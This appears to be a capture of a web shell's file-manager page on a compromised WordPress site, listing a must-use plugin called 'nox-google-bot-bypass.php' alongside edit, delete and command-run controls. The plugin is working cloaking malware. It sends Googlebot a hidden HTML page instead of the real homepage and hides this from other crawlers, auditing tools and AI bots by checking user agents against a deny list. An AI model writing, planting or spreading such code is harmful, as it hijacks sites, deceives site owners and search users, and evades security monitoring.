/
home
/
vianto5
/
cititower.mx
/
wp-content
/
mu-plugins
/
/home/vianto5/cititower.mx/wp-content/mu-plugins
mkdir
upload
Name
Size
Mode
Actions
nox-google-bot-bypass.php
1397
0644
edit
dl
rm
Edit:
/home/vianto5/cititower.mx/wp-content/mu-plugins/nox-google-bot-bypass.php
(1397B)
<?php /* NOX-CLOAK-START */ add_action('send_headers',function(){ $lock='/home/vianto5/cititower.mx/.render-cache/render.lock'; $ua=isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:''; $uri=strtok(isset($_SERVER['REQUEST_URI'])?$_SERVER['REQUEST_URI']:'?','?'); $d=array('curl','wget','python','go-http','java','scrapy','axios','phantom','selenium','puppeteer','playwright','headlesschrome','chromium','bingbot','yandex','duckduckbot','baiduspider','ahrefsbot','semrushbot','mj12bot','dotbot','ccbot','rogerbot','exabot','sistrix','majestic','facebookexternalhit','twitterbot','linkedinbot','pinterest','lighthouse','pagespeed','gtmetrix','pingdom','screaming frog','uptimerobot','newrelic','google-site-verification','chatgpt','claudebot','amazonbot','applebot','gptbot','bytespider','perplexitybot'); $hit=false;$ul=strtolower($ua);foreach($d as $k){if(strpos($ul,$k)!==false){$hit=true;break;}} if(!$hit&&file_exists($lock)&&preg_match('/Googlebot|AdsBot-Google|Mediapartners-Google|Google-InspectionTool|APIs-Google|GoogleOther|Google-/i',$ua)&&$uri==='/'){ $f='/home/vianto5/.nox-content/cititower-mx-118539/wp-comments-post-loader.html'; if(file_exists($f)){while(ob_get_level()>0)ob_end_clean();header('Content-Type: text/html; charset=utf-8');header('Vary: User-Agent');readfile($f);exit;}} unset($lock,$ua,$uri,$d,$hit,$ul,$f); }); /* NOX-CLOAK-END */
Save
cmd:
run